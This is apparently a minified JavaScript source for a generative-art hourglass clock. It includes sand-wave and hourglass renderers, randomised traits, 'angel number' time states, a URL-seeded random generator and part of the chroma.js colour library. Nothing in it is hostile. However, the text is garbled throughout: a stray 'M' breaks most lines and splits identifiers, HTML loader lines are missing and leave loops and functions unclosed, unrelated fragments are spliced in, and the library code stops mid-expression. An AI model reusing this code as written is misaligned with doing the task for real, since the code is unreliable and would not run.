st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/plain;charset=utf-8
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
